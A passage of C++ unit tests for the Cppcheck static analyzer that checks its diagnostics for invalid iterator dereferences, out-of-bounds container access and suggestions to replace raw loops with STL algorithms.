2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int 